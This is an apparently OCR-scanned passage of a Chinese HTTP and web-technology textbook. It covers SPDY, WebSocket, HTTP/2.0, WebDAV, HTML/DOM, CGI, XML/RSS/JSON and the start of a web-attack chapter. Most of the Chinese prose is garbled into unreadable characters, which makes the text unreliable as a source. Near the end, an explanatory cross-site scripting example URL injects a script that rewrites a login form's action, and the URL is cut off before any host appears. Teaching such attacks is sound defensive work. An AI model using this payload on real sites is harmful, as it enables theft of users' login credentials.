P L EARTT USRI SN BT, BN T REEMARL, —VOEERIRFSI MWK T . MR, AT 4ErRERSH
FEELZHBIR. H5h, Comet MIRMH HTTP Pl A B 177




BEHIER

KoiE sk 2| | <#8wEEA

~ = | FRSEAR

(¢
)
(

- urﬂ Ry %E%ﬁ>
<o LI 7T @AY —B EH R/
EEBEH > 1K (8] 0 iy

wR
SN >3 Bl
(mxaEmzEERnEs ) . PI—rv
) RE BRI

B . Cometi#@fs
SPDY i B 15

Fi g U BLEG Ajax 1 Comet 25325 5 M RIHR, — =R R HTTP B3] T &, {H HTTP #hillk & KR
FIHASANFERFLEK. ATHTRAENSE, TEF -EHUER EHZ3).

AT REEETFSORZS R SPDY P, IERCA T AEWEAIHER HTTP Frl@ riEs.

9.2.2 SPDY W#&it5Djhe

SPDY #A B2ME HTTP thill, TR7E TCP/IP KN R 5EHE 2 M@ HimaEErERElE. AL,
ERE| 2R, SPDY #lgilfE A SSL.

SPDY LA&iEE MR AN, EHIX BAR RS, HERRA HTTP #I0@EEE. Hit, w7 A
HTTP f¥) GET A1 POST 477 . Cookie LAK HTTP #%3C%.



HTTP EZFifE
SPCY =aet
5G| TR
TCP 1=

SPDY 1T TCPISSLIF0HTTP 2 8]
& : SPDY #it
% SPDY J&, HTTP ¥hl#ish3ka L FIhe.
SBEFR

i) TCP &3, WLAERGIAELA HTTP &R, JiAERICEAE—% TCP E# L5, FHit
TCP KA B R BIRF -

BT E SRR %

SPDY XTI LA BRI I R AL B K, W AR IE RBAN TR AR . XEEERATHERIZLME
SRR, 8 o R B8 0K T -5 50 B2 0 i 1) AL

45 HTTP & &

FE4E HTTP 38R AN B 3. XA —RK, BE AR AEEM RN T THREDT

HEIX ThAE

SRR S B E P IR BRI TR . XA, RS AW EERREER, A LERE I KIER.
JiR 55 23 42 R Th e

JIR 55 8% FT LA SRR B d A SR T AR B BEIR . B TR R S R BLRIR 2 BT AT AR A IR A, Rl A 3R
BOEFERLT, W LOE G AR A b E TR
9.2.3 SPDY jHEx Web s T %

A SPDY I, Web i) A i AN o AR A B3h, T Web 315588 & Web fIz 55 8338 2 90 b SPDY
i —E R E LK. ALK Web %558 B4 % SPDY il THIMKIER . 5546, Web iR 554% ik
7T SRR, EIBZEARSNERK Web P3i &1 B A .

B SPDY & EREKEANRAL (P Hulk) KEFEZHER, Frli—A Web P LEAZ ML TR
BIR, HEBCRREZ 2R S

SPDY 2 —Mal A Bl HTTP ESHIBAR, (HBRE Web PSSR I IF IR U2 B HTTP ST



FE X Web ABHIEERT, ERZMNHAMATABEEHTHMIT AT, tHnsE Web WEKHE 77 5.



9.3 fifi F J) ¥ 8% i 47 4 X T il 15 ) WebSocket
FIFH Ajax fil Comet Hi AR BEATIEE AT AR T Web KR KHE . (HiRSETEEEMHE HTTP i), sIEEM
JRAEVIRZT i . WebSocket P45 A IE & A fif pix L& o 7R ifg SE T — B B th il & AP,

Y RIK WebSocket /£ HTMLS AR#EKI—#B4>, T BLAE S A BHI AR L T ML i ilbRdE . WebSocket
EAEEAE 2011 4E 12 A 11 H, # RFC 6455 - The WebSocket Protocol 5& A5
9.3.1 WebSocket [ it 5 Thfk

WebSocket, Bl Web %485 Web k4432 84N LiBEtnE. H, WebSocket Wil B IETF & Nk
#E, WebSocket APl B W3C 52 AbritE. BTETF K F ) WebSocket iR EE R AT f#k Ajax fl Comet B
XMLHttpRequest B 1 BB BT 51 A2 Y 1l .

9.3.2 WebSocket HHiX

—H Web Ik %5#% 5% /' i Z [ 5242 WebSocket Yl B E &R, 2 )5 Fr A M@ 5 # K S X A% F Lt
7. BESEPIEMERZE JSON. XML, HTML 3 A S 4E w0 E0E .

B TR HTTP Zal B, B &R i kT i % i, 11— B WebSocket i fEiEH,
WSS AR RE i, AR — 77 WA B AN T R

THEFATFIZE—T WebSocket HH I F ZHKE .

HEX T Ae

SCHF IR ST AR B S B A ThRE . IXAE, RS EBRRIEEIE, MABERE T EHKIER,
WO EfEE

RE S WebSocket 8, BMAE—ERFERRS. M HTTP AHLL, AMEAICGEER K2 I8,
T BT WebSocket 1% 515 8RN, EEEWHARELD T .

T I WebSocket i@f5, 7E HTTP EHEEIZ G, FEZTE—IKETF” (Handshaking) HIHER.
o BF-HER

AT P WebSocket iE15, FEME HTTP [ Upgrade BEBFZE, ARG #EE MR EKE, P
EEEFHEN.

GET /chat HTTP/1.1

Host: server.example.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: dGh1IHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13

Sec-WebSocket-Key B Wik &EREFEEF LA HEE. Sec-WebSocket-Protocol B P 1d 3%
13 FH i F M



T W% WebSocket W SiRAEFE EE BTN, S SUIRELE N B AR

BT -mp

XF 2 B ER, RER&RS 101 Switching Protocols fm R .

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+x0o0=
Sec-WebSocket-Protocol: chat

Sec-WebSocket-Accept [ 5B E & H 1B F 53R 1) Sec-WebSocket-Key 5B A ik «

IR TR WebSocket 2 J5, BENAEMEA HTTP B%EEM, TRA WebSocket 37 ) # i

L8
& P ‘ k5528
— | BF EX R IT 1A BHE 2
—[ Upgrade: websocket )\) HTTP i, Brild
HTTP By | BPBEEEER
4——/(101 Switching Protocolsj_ AL
I Nl e I WebSocket il
WebSocket 89 URL 8=
ws://example.com/
: le.
WebSocket P wss://fexample.com/
—3| WebSocket il X
KIEHFIE HFeWTESE,
e 1t AR 55 88 i T 4
BRI FEK, TEER
¢ EEHE
v I~

B . WebSocket iff5

WebSocket API

JavaScript 7 “The WebSocket API” Chttp://www.w3.org/TR/websockets/, B W3C triEdlE) AR
#tH WebSocket #2/F#: M, LASZH WebSocket #ril T4 X TilfE.

PL T AiE B WebSocket API, 4§ 50ms %3% — YRR 1 5241

var socket = new WebSocket('ws://game.example.com:12010/updates’);

socket.onopen = function () {
setInterval(function() {


http://www.w3.org/TR/websockets/

if (socket.bufferedAmount == 9)
socket.send(getUpdateData());
}, 50);
s



9.4 MBE AR HTTP/2.0

HEfERE HTTP/A .1 #34E, B 1999 KA RFC2616 2 )5 B R#EATIEEIT. SPDY #l WebSocket %$;
RSy HIM, WAEWST HTTP/AA HREH T 4 F I Web L.

13 BB B ARFRAER) IETF (Internet Engineering Task Force, HBEM TIEES4H) G52
httpbis (Hypertext Transfer Protocol Bis, http://datatracker.ietf.org/wg/httpbis/) TAE4H, HBEREHERHT
—fX HTTP——HTTP/2.0 7€ 2014 £ 11 A eitrhtl.

HTTP/2.0 %% &

HTTP/2.0 i B2 2508 P EH Web B RBEEEAGL . T EA E#Matl@E HTTP/1.1 5 TCP &, 3
FEBRATUA T HX L BORERY,  #F— T eI LI T7 .

o SPDY
e HTTP Speed + Mobility
e Network-Friendly HTTP Upgrade

HTTP Speed + Mobility Bk A RIEHE, £ T IR &% 3 s 5 i E m A e K in . w2
JLE Google AR HiIHI SPDY 5 WebSocket fi# Atz L.

Network-Friendly HTTP Upgrade == Z 2 7E# 3 i (5 B i HTTP M ee AR
HTTP/2.0 i) 7 TR K it

HTTP/2.0 BlgeE EEK 7 BEARBATIE, TR (20124 8 A 13 H) , KEBIR TR LT WL
ARo fBR, WHRTIFERSE, FrLNBEHERR & & R B RTAR R AT ek .

* 9-1
K4 SPDY. Friendly
ZHEH SPDY
TLS X%tk Speed-+ Mobility
L Speed+ Mobility, Friendly

ZPimhi B, (Client Pul) /RS 234#i% (Server Speed-+ Mobillty

Push)
WIS SPDY
WebSocket Speed-+ Mobility

##: HTTP Speed + Mobility {5 4 Speed + Mobility, Network-Friendly HTTP Upgrade &5y Friendly.


http://datatracker.ietf.org/wg/httpbis/

9.5 Web ik % 2 & # X1 WebDAV

WebDAV (Web-based Distributed Authoring and Versioning, T 73 4/ i) 534 R BI1E R R A #2541 & —
ANEH Web %528 AR BEBRAT ORI SiESREN AR RS EERNT R HTTP/.1 B8
WE LAE RFC4918.

BT R, MBRSCIFSERATIGE, BEREMOIREEHE, SO R 8 Ho it A P A 5 B in Bt
TRk, LR SCMF R IE BB A S I T RE -

>
WebDAV
€ g X
WebDAV BN Web FRES8 I 89S0 81k WebDAV
& i k435
— —
—
S50/ 313
— E—
o
DB/ BB

E: WebDAV

/8 HTTP/1.1 # PUT 7735/ DELETE 773, BEATUAXT Web k5588 b B SO/ #EAT QU BRI A . AT
FretREEESEER, —BAEH.

9.5.1 ¥ & HTTP/1.1 () WebDAV

EEX RSS2 ERIBEYR, WebDAV Hilmm T — M, W Hw.



p- ™\
X CREM
— X% XH#HC
[T K&/h: 1024KB
- f18% . ueno sen
XA X% B XEC
£E5A
\_ J
£4B
\ P,

El: WebDAV ¥ & [t #f &

#4 (Collection) : R—ME—EFHEANARENBE . UEERAATHTZMHIRME. BATLAK
PEERESXERZM.

Bi¥ (Resource) : HEXHREARATEE.

Bt (Property) : & XEEMEE. & XL“BR =EH" KA.
Bl (Lock) : EBXHBRERLEMBRE. TARANEER, WEIEER—NREETHAESAN.
9.5.2 WebDAV W #8175 & L RS

WebDAV JNsEBLEFESCAEH, W HTTP/A.1 4180 T BLF X753
PROPFIND : 3REUS 1

PROPPATCH : /@

MKCOL : flZ&EE

COPY : Sl Bt K&t

MOVE : #%3h% i

LOCK : HIEMm8

UNLOCK : HURf#H

NEEY RKTTE, REEHBEZY .

102 Processing : FIIE#ACIER, (HHRTRAEEFRES

207 Multi-Status : FEZHRE

422 Unprocessible Entity : #:X1E#i, AAHIR

423 Locked : E 4R IN8L



424 Failed Dependency : b3 5FERCBAIER R B A B 4R R OC R
507 Insufficient Storage : RFEZFRIAE
o WebDAV i 5k £

T2 H PROPFIND 754} http://www.example.com/file & A2 3REUR KI5 K o

PROPFIND /file HTTP/1.1

Host: www.example.com

Content-Type: application/xml; charset="utf-8"
Content-Length: 219

<?xml version="1.0" encoding="utf-8" ?>
<D:propfind xmlns:D="DAV:">
<D:prop xmlns:R="http://ns.example.com/boxschema/">
<R:bigbox/>
<R:author/>
<R:DingALing/>
<R:Random/>
</D:prop>
</D:propfind>

o WebDAV [ i B 52 4

T R 5% Z B i PROPFIND J73%, RIE] http://www.example.com/file )& 4 w5 .

HTTP/1.1 207 Multi-Status
Content-Type: application/xml; charset="utf-8"
Content-Length: 831

<?xml version="1.0" encoding="utf-8" ?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:R="http://ns.example.com/boxschema/">
<D:href>http://www.example.com/file</D:href>
<D:propstat>
<D:prop>
<R:bigbox>
<R:BoxType>Box type A</R:BoxType>
</R:bigbox>
<R:author>
<R:Name>J.J. Johnson</R:Name>
</R:author>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
<D:propstat>
<D:prop><R:DingALing/><R:Random/></D:prop>
<D:status>HTTP/1.1 403 Forbidden</D:status>
<D:responsedescription> The user does not have access to the DingALing property.
</D:responsedescription>
</D:propstat>



</D:response>
<D:responsedescription> There has been an access violation error.
</D:responsedescription>

</D:multistatus>

R HTTP H il Z AR k)™ 2
FEYHET IS HTTP MKBEI P IUE A SR G . Ittt HTTP Ml AR Re s Wtk 2 e ?

o, FHmERALKMNNRGEAAN, EFERN S LIS B ZE R SEH . EHdE,
F HTTP RGBT KL S

ZEEEZRERE, HP5MLBARKJIEREAEZRKORR. FJORNEAD 2L E
RN RN S 1 5 R B B I o R SR B W A e 5 U 0 B T s o B

HEM L, EARESRZ)E Web, NERTEZVA FTP A SSH AR, —fA "#<IT o
Web BI95 1. Web 23T HTTP HhiGSIEK, FEELEME Web RSB M Web b 5, THER
BBk HTTP (80/tcp) #1 HTTPS (443/tcp) HIRFR.

FE AT RARCBEN R HTTP {ENBEHE, FTABBEN KERBE. W HITP AF S
AR X — RS TXWRET HTTP RGSIABR AT INKRE 2 —.

BA—HHEAMRE, i, /R HTTP 2P sl e O 2 im, HTTP RS SRR DBAEM
B, HTTP A&t LR KR



B10E HE Web HEKKAR

#E Web FILSUN, RA1R SERMERERXMANAZE. W5, Web EHIEMHERNER, RENEH
EEMNE.




10.1 HTML

10.1.1 Web Wi JLF2H HTML 2

HTML (HyperText Markup Language, #XAHRZET) &N T Kk Web LA (Hypertext) T A
HRLIES .. MXAR—MXRARS, TR EEMEREESHMEE CURRERS) Bk,
BBEE R SCAR . ARiDiE S R IR B E ORI 3L 2 S A 5 1 AR B AR RS, ORI SCREIIE S . RATIEH
PUTE HTML SCRY P (R PRk 2 3 B2 I HTML #3748 (Tag) .

SR BRATTH B Web TUHEJLF 426 A HTML SHit. i HTML # R 0 SOR 285 B S8 . i85,
EHHRGFRZ Web HUH .

1> S 22T el HTML S BLE S0 ‘
B
HTML hackr
R R S e WebTLH
B: HTML

ARt R A HTML %5 5 I SCRIEIBI T o TR 4 HTML ORI xR < > BREE R SCF RS . ERERE
AT, & EAR, SudAERA . .

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>hackr.jp</title>
<style type="text/css">
.logo {
padding: 20px;
text-align: center;
}
</style>
</head>

<body>

<div class="1logo">
<p><img src="photo.jpg" alt="photo" width="240" height="127" /></p>
<p><img src="hackr.gif" alt="hackr.jp" width="240" height="84" /></p>
<p><a href="http://hackr.jp/">hackr.jp</a> </p>

</div>

</body>

</html>



10.1.2 HTML iR 4

Tim Berners-Lee $#&H HTTP #& KRR, @48 H T HTML JR#, 1993 E4EFFI# 5 K28 NCSA (The
National Center for Supercomputing Applications, E & HEHLSHF L) KA T Mosaic JI ¥ (H5H
BAEESENEEET) , % Mosaic HTH HTML, Zi—FrdkfEEI{ER HTML 1.0 KA o

B B R E R A & HTML4.01 457, 1999 4 12 A W3C (World Wide Web Consortium) #H 41 4 FiX
—A. F—AWA, FitsAE 2014 F£ A ERMEFEH HTMLS bR

HTMLS FrAEAN R T W 55 8% < I e 1 R A, IF BT SCAAE R X fr, BRESEM, shEEM Rk
TG

WESH, HTML MAFERL SRR, H S S8 REE HTML /REsEEl, 5y R B RS, X4
RIET HTML BIFRHE SR b R 4 — X — R .
10.1.3 #&itR A CSS

CSS (Cascading Style Sheets, E&MHFRAF) AR EWMMAREI HTML HI&FTER, B THRARFEZ
—. B RM R HTML 308, @i SR AR CSS, MM KAE BM T E M &2 k2. CSS K&
BRAL SRS K MR BE T8, A BEREN H K.

THEERAIRE —4> CSS KA B

.logo {
padding: 20px;
text-align: center;

}

AITEIE RS (selector) .logo MIFEETERE M, £/ {} FEEE RS B 58 padding: 20px & 75 B 5 A) K7
FiTR eI,

B TRE HTML JCERBURE M class. D S5 gt 385 R bR 52 i =i B2 A Y L



10.2 ) HTML

10.2.1 ik Web BT 31&EK M3 A HTML

PriE3has HTML (Dynamic HTML) , R 4B % 7 Sl A8 5 RS 10 HTML A 22 Rah & I BR K &
. BRizgd SIFHHIE. Google Maps %5 FIVRZ) I E st F I T 325 HTML.

FA HTML BiAR 2 i1 F & i B AE & JavaScript, S2L%F HTML 9 Web TTH B3I B0E . FIF
DOM (Document Object Model, SCRYXT SRR Wl B AR E NS HTML JTE& .
10.2.2 ¥ 5% #H HTML & DOM

DOM 2 A3 fE HTML SCRSAN XML SCR4E API (Application Programming Interface, BiAZfEEEO) o
Fi DOM "I EAKE HTML PG R SEX R E, WIS REAR RS BUBHA CSS MBS, MERTmm
Wit R4 N,

WA JavaScript FHIAE 5% DOM fI#AE, W7 LLLUSE 9 & i 7 s3] HTML BB .

<body>
<h1>%HifiwebZ4</h1>
<p>%E [ #B4> WebMIMRILE</p>
<p>EHIHH  WEHRZLETE</ p>
<p>ZIFS  BETFRREMF</p>
</body>

tban, M JavaScript BIAERE, ¥ LR HTML SXREEE 3 AP iR (P %) BEBEXFEHEN, 28T
XPEgR S RS,

<script type="text/javascript">
var content = document.getElementsByTagName('P');
content[2].style.color = "#FF0000';

</script>

document.getElementsByTagName('P') &) Fl getElementsByTagName Ei%, MEA HTML 30
(document object) HELH P JTE. T KK content[2].style.color = "#FF0000' i&4)45 € content & 3]
K2 BE3A) MaRIFERBESCLE (#FF0000) .

DOM WER MRS, MAEMTER HTML RSN TR.



10.3 Web M H

10.3.1 @it Web $#24LThAEK Web N

Web NiF &2 #i83d Web ZhAgiREE M T . tinymss. M E4R1T. SNS. BBS. %5 %M e-
learning % . HEM (Internet) B4 M (Intranet) LA =& HH Web R .

JRANLF HTTP Hhil i) Web BIBLEIBER X 2 /7 ik R EIE R, B EIHFTHESIFINE . WHEHE Web Bk
TR NEZHNBIECARUNNFIERNTR, EREIIAHBFAE HTML A A%

FANIX T AT R I A AR AZI SN, THAHESFHN AR ABSNE. Web MANERTIISHAE
2zt

B: I5AFNBEASE

10.3.2 5 Web R% 2 KB FMER CGI

CGI (Common Gateway Interface, BAMEEL) £ Web R M EBWRIZ ik RIEIRMTEREE R
SIEFH—HHS . £ CCIMERT, BFLSMERABBURAARKSIE, thinflz HTML £38 WA,

¥ CGl 2P fig CGI # 7, @& Perl. PHP. Ruby 1 C EmEiE 5 %5 M.

E: CaGl

% CGl B AN A A ES% RFC3875The Common Gateway Interface (CGI) Version 1.1

10.3.3 Java 1 ¥ X ] Servlet

Serviet! & —Figs7E R252 O EHA N AT . Serviet £ Java B 5 I — A ED, BFE A
% Java (JavaEE, Java Enterprise Edition) H—#% .

1 &AM R EA, £FE Java Senet. £ FRELE Senet=Sener+Applet, FRZEEBREEF. —FHE

ZHIR KM CGl, MTERERIER, BFAEREES—R. Fik—BEJREG A, Web iR5aEAIHM
BKHIFE. T Serviet BAT7ES Web RS54 R P, B2 BRI FAEB/N 2. Serviet HIZ4THEEM
¥ Web 72238k Servlet 4% .

2 Serviet WHANTF, FULERUIERR, 7ESANHERZHNEARREN Sendet, BRFHIPATHEMNMIZBE R, —FHHE

Serviet fE MY CGI ERIMHEA 3, B Java —2/38) T ¥ K.

S Y HLHIREBEET, XAJ7 A EBFER Perl 451 CGl, skBL#E Apache HTTP Server £ Py & mod_php #5217
PHP T2/ M E 1 ASP SH AR, —F#HE



El: Servlet

BEE CGl ¥ K, FIRERHE)ZZF CCIFFFH CGl i Tl IZHI R T AR, FrLl2 /5 Serviet il
mod_perl ] E#E Web i 554% LBITRBRFABUIT R XK.



104 BREERGHBRARES

1041 W RFEILES

XML (eXtensible Markup Language, W # BFMCIES) £ — A& B ATy BIEHRRCIES .
B XML, EEBEMELEEEERS .

oy

XML 1 HTML %82 Wbl F AR08 5 SGML (Standard Generalized Markup Language) fifbiifg. 5
HTML AR EG, 8 SR e 07 M 7 Rk AL 3

AT, HTML % 5 109582 7 BT & SO 6 AT B0

<html>
<head>
<title>TAFFHFSAH</title>
</head>
<body>
<h1>TARBFIF A H</h1>
<ul>
<Li>BHt&%5: TReo1
<ul>
<li>Web M FHFRFHETS ML Wi dhBE< /11>
</ul>
</1li>
<1i>BHt&%5: TRe02
<ul>
<li>MERGRET[IESH TR/ 11>
</ul>
</1i>
</ul>
</body>
</html>

PR SE BT IR 2SR, B B sl B R A A, EnRX S LR RS R A 47 LR
B E R R RHMERUE SCAR BT, (EIX HTML #Re st — s, BRSO A A st A2 18 4
AT . AT, AT REFEIRKEHRR, HTML A& RRICREIR S

BAERXMFIR XML KIERBSHAR T BT RRHEl.

<HTE GS="TReo1" FM="Web M FHFEFHETHLMriEE">

<KH>RA</ KH>

<HEZE> IR ABI FiWeb B2 FIFR 7 Ha 55 S Wi L ZE 1. < / R >
</ Wit e
<L 5="TRe02" LFW="M%ERGHIIIEISHIVIE" >

<HKH> A< /2>

<HEEL> NIRNTF I 44 R G RE 55 10 7 00 B ... </ WD >
</t s>

XML A1 HTML —#¢, AR, IF BT B LT RiRs.



XML SRS B BB LR HTML SEORfT . BT XML St b AR R AR 28 23 51T AR AW T 45140,
BB IEE T (Parser) RIBHTIIREMENT XML S5 FFBUL SR m R, 7SR 5 Hun BdE 4T 32

EAGE AR S XML BN B 282, thin, BTRTE 2 AN F R 2 18] B 32 B 4% =k .

10.4.2 RAEH {5 B H RSS/Atom

RSS (RisfERESE, MMEENE) M Atom #2 K A0H 8% 0 &5 EHE B OB KB B
HHMET XML,

RSS AU THA, AFkA% 577 A .

RSS 0.9 (RDF Site Summary) : &#]H# RSS A, 1999 4 3 A HMFLEFE A BT A KA TFEITFW
o ZEARE E QIR RDF #iA% b .

RSS 0.91 (Rich Site Summary) : 7£ RSS0.9 (3R, L¥ B tE, T 1999 4£ 7 HA K554, Ik RDF #
¥, HH XML FRFES .

RSS 1.0 (RDF Site Summary) : RSS #¥i#%IE4 FIREARA . 2000 45 12 A B RSS-DEV T/EH B UKH
RSS0.9 H{# F i) RDF }it% K Ao

RSS2.0 (Really Simple Syndication) : 3 RSS1.0 &EEZ&. Wik RSS0.91 MHAE, 2000 4
12 H i UserLand Software A & JF &K 58

Atom EF LU B R R

Atom 55 #& X (Atom Syndication Format) : R AR P4 281 il 52 1 9 3 v B R VRS =X, 59k Atom i,
WA TR AR .

Atom i g B (Atom Publishing Protocol) : Jy Web _ Py % i 37 48 5 & 26 i ) 52 B 10380
AT A EHE B K RSS Wi, XMBAHLTXH RSS MATA ALK& Atom.

THEZ RSS1.0 f5=H.

<?xml version="1.0" encoding="utf-8" ?>

<?xml-stylesheet href="http://d.hatena.ne.jp/sen-u/rssxsl" type="text/xsl" media="screen"?>
<rdf:RDF

xmlns="http://purl.org/rss/1.0/"
xmlns:rdf="http://www.w3.0rg/1999/02/22-rdf-syntax-ns#"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xml:lang="ja">

<channel rdf:about="http://d.hatena.ne.jp/sen-u/rss">
<title>BTHI#HIE</title>
<link>http://d.hatena.ne.jp/sen-u/</1link>
<description>fFHIX ¥ Hid</description>

</channel>

<item rdf:about="http://d.hatena.ne.jp/sen-u/20121215/p1">
<title>[security ]#REEEFIHBH K ETTRIFMEE—Y</title>
<link>http://d.hatena.ne.jp/sen-u/20121215/p1</1link>



<description> IERFTIE“RZFTE Bounty Programs”. AIEEZWebEFHtEMIMXGE R, HREREN TR ... </des
<dc:creator>sen-u</dc:creator>

<dc:date>2012-12-15</dc:date>

<dc:subject>security</dc:subject>

</item>

(4] I )
10.4.3 JavaScript fTEMZE% 5 H JSON

JSON (JavaScript Object Notation) & —7#bA JavaScript (ECMAScript) It SR AaEmt 12 & F5E
WRICIES . BRI BIE KA false/null/true/ 3T [ B | BUF | 7458, X 7 #hH,

{"name": "Web Application Security", "num": "TRee1"}

JSON i ¥R FE R E 4R, I H JSON K74 & Al % JavaScript 8 5 HiE N . H“YIEE XML 1 Ajax
AWML JSON N HZBERZ. Hob, HhSHEREES HREETNES, AR FEEIE JSON
FIEK.

% JSON HE AL A Ai1ES % RFC4627“The application/json Media Type for JavaScript Object
Notation (JSON)”



B1ME Web HBEHHEA

Gk BB KA Web 36 mEN HAR. AEUHERAEWLLE Web ¥ G FE, BLEREHSERE
TR .

o
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" Hd/
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1.1 4% Web Bt iR
i 8 1) HTTP Wik 5 A R A IR, B 5 LT R OVt X o BEAT HTTP Bhist o
SEAE R, DB TR %58 £ Web [N % B VR R Beili H A

HAl, REBLRMEZEE RS RE Web 3 miRE, BAIIKZHE Web BAIE AR S Hir. A5 EEHX
Web 8 i B B B AR HEAT P o

Exim 2%

PraFTPD
A%

HEip F ER S A
#R. LAC JSOC Helet AR amtiiErmiReE Vol 18 201254826

B: B HEEE

11.1.1 HTTP ARZULENZETE

5EBAIBHARLL, B4 K Web Fu5R I # HTTP MUK T RERE THRBRKZNL. JLFRSHE
1 Web Mus#i& &% (session) EH. I AbHEE 2T HEIDEE, T HTTP Hhll AR & X
Tk

WEME EE, HTTP 2 —MEA KR iiis. it RE&REMRS, EREZEWTHNESS.
BEERE RN A SIK SSH W iCk¥, SSH AR MMM IER S EEHETIRE, HTTP BUUEHE .

FSMERRBE SSH RS TTH, AR AMRA LU 5y dh Q3 R S R AR SS, T HTTP BRf C4E 8 iR %548, 1H
SR GRS A AR B Web N, REWEHTHTEERITR.

Bk, FFREREBTROHIFRMER X EEEIRERFE L Web MAKZ4. ETRITHRERES R
HAMERAAKERN. HR, ZEEFIHNTS, AWHESER Web BAH G X FREE & A 5K & &l
A 24K K Bug.

11.1.2 fE% 7 ¥ BP AT L %03 Kk

7E Web BIAIH, MBS AR EWCRI HTTP 3R M A, #MATLER P HR e, ik Fl
Web R AT B2 B 5 B SR AR R B A A



TE HTTP &R kB ARAg, sheeREN Web R KE. @i URL EiFREFE, HTTP &
#8. Cookie FB R ILMERIBIEN, HIXN Web MAFAE AR, BAMESMSER T, Spdd
HEIEEBUR.

fFEZERIFN Web B

BiHE

Wit URLE g FERAFREA, HTTRP Y
&, Cookie Hix B iH L HEEAN

B: X Web 2 F it B i
11.1.3  £H%F Web A R B R
Xt Web B2 # B i i XA LR PiFb
o EFHBEK
o BBk

o DRSS 8804 B AR i E3h Wi

E3hYd (active attack) RIEHEHE BT EHEUTH Web N, BHEHABENKREEN BT %M
KRB XS & LR RERATH S, B E# & Z a0 Ui 1 )AL 3R .

FEHR B R R ARRERZEE 2 SQL IEA TN OS drEALLTE



TENERAE AR |

(DFTEERE
B 3B
VAR 55 28 9 B A B 3 3h B i

Wigh Wit (passive attack) RHEFIFHBIE R PATRHABRBHRR . EREHBELIES, KHER
H#ExT A Web RF U7 A R i o

ey Y il F B B T PR
BB BEEEFEM R D REFRMEE, TSRS CIRA SRS HTTP #5K.
BB 2. APPSR ZIE, F7 B S B A% 5 5 s 2 A R X AN B B

BB 3. PHENAP NGRS AR HTTP i R R IBHE AL S BARK Web A, E1T
Wi,

BB} 4 PATEREHNID, FEZERIAN Web NS BONBE# BT, 7T4ESEH P piRem
Cookie %M N5 BB GIHL BFRETHAPURESRERSER.

A3 B A 5 B AR AR G el A i B A o N B i i SR A



AR |

@ FTBCH RIS 8 S R P R
759 Cookie FF#fgR AL, P X

FRIEERCE

(B P HI B E T T D

(IR P b ss i & = IR
WaBEE HTTP 53 VB TSR
5% B [ERF

DWBHES % Y
B. #sh¥d
FIH P B 5 4 B0z 4 b &8 R 4%

MBS B, WREN R A W BB _E Tk BT i ik SR e . R P EEAE
TS BFHIBERE, R BEB VT BB P VR A, B Al B R R 32 B K

IRZ Al A RAR T CLE SR B BRI b, U710 Web Wuh, BREWCE IR M AR AGIRAE . IXAE LT R4 B
HUAATSRZ ML, 55 P Al R B B 0 il Y R B i

%50 5 0T |

—‘ aaf
= 3o -1 .
[0 i g

(BAAlk AR P B b8 IE 1T

TR ED
l—'—'l

‘Eﬂﬂy\ﬁ; u_ﬁ.
FEANFRE

HTI'Pm;}E
70k 749 DB
BEM :
VEBES B?;] % k) 1>k 9 9 B Web AR 25 38

Bl 7 A Bl 3h B o 4l P9 0 R 3 B






1.2 REHERE AL KNZERA
e Web S % S8 ST KB 9 b F PSS -

o EPRNRIE

o Web NN (B%B%) MBIE

o HAMHKIE
o B X
_ HTTPIR: | =
l B i L) i1E1E0]: B ——
S HTTP 5% .
SiSiasnes X S
R
B WHRIT Web &1 f s B X =

B 50 UE B0 5 LA Hh 7

ZHAOL TR JavaScript TEZ /S IERHE . ATRTER 3 Ao VFEL O B M JavaScript, RIEAH
JavaScript BHIE(EJy A BT TET . (REZ P IRIE R T R EMPHRMAER, BRI U KRR 1
JiiB

Web R Fi i )4 \AEL B8 IE4% Web [S2F P9 BRI A0 2 0 45 T RE AR R IA 9 R LA Bt M R SO ARG o 0 A\ LI IE @
R R TR & R G5B B SRR T TR B S TR X 5K

BRSO R G HTML, WBA-S5 4t Web R F AbFR R B0l 2 B, 1500 i ) (L4 SCARHE R — & SR
B RN AR ORE AR, SEMR I N BARD, T4 SRR .

11.21 BEUMARH

Bk AT (Cross-Site Scripting, XSS) 4RIEILFE7E %2 AWK Web WMt - 30 5588 g 4T 3R
) HTML #R% 8% JavaScript #E47 i —FBeadi . shaSQIE s HTML 347 7 AERe i 2 2RI MR, I
HHEGEWAR TG, BAEESRNRES BT, — A MREZ R K.

25 0l ) AR ek A T i AR DA T R
s MARBEBMARERRAFPAMAES.
o FIFAMAGIA K Cookie i, HEXERMENHERT, FHRHEREBRIFER.
o BRI EREN .

o BMMATE R
EFHEER HTML R E
R AR S BT U BS S A it . RO RIER T A PRI AGE B

- ____________| - _______________________________|
-4 8 5 % & 3
WETAEE | | mETAEE |
i | lo—®| | g WO-—8
HIfLE pamatbexs plo.curﬁ_! Bif bl yema@examiple.cam
Bars [ fRE | —p BRE R
[miaEd | TRiEEn

SEERHTMLAF TR EEERA
Bl AR A B ot R
AR R RoRIE R R TG TR . B 1L T — BRSSP HTML AR R 8 o



B HTRML FREE s Ul O — 85 <fos 251 R T

SR
L | THATAEE | |
4 [<o>li0 —Was> | i et
s ot i:,'fa.ma@oxan‘hplo.mlrll_; HifEH Y yama@exsmple.com
B | f | —p e
middE fRitE

B RS AE R RS LG

SR E AT L, RGBSR PN <s> BT HTML 4748, 85 BRI 4.
TR TR R I PRAK M AT G R, (B0 R AL script AR £ T .
XSS £ it & F Fi B sk B B i e B R 60 48 3 it

B A B R T s B, BB g e BT T R

T ER B A B URI W 7 BUEE ID, BIARS TERB A BHE PR S M Ihhe. T
77, B AT AAT B S A A e ORI

| hnpfexsmpleipioain?lD=ya

—  —

*“_-“—m

I-ET mEe |

FEO BRI IR B B, TRMAE T FHIXBHRNGRARIGE URL. HEEA S a1 & 15
OB VEIB#F B Web TUEI P, 5 /22 2% URL.

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="htt
(4] D

WRBTH 2% URIJE, EURMEEA RAEEMEL, AREFNEMADGEITHETT. DAPERS
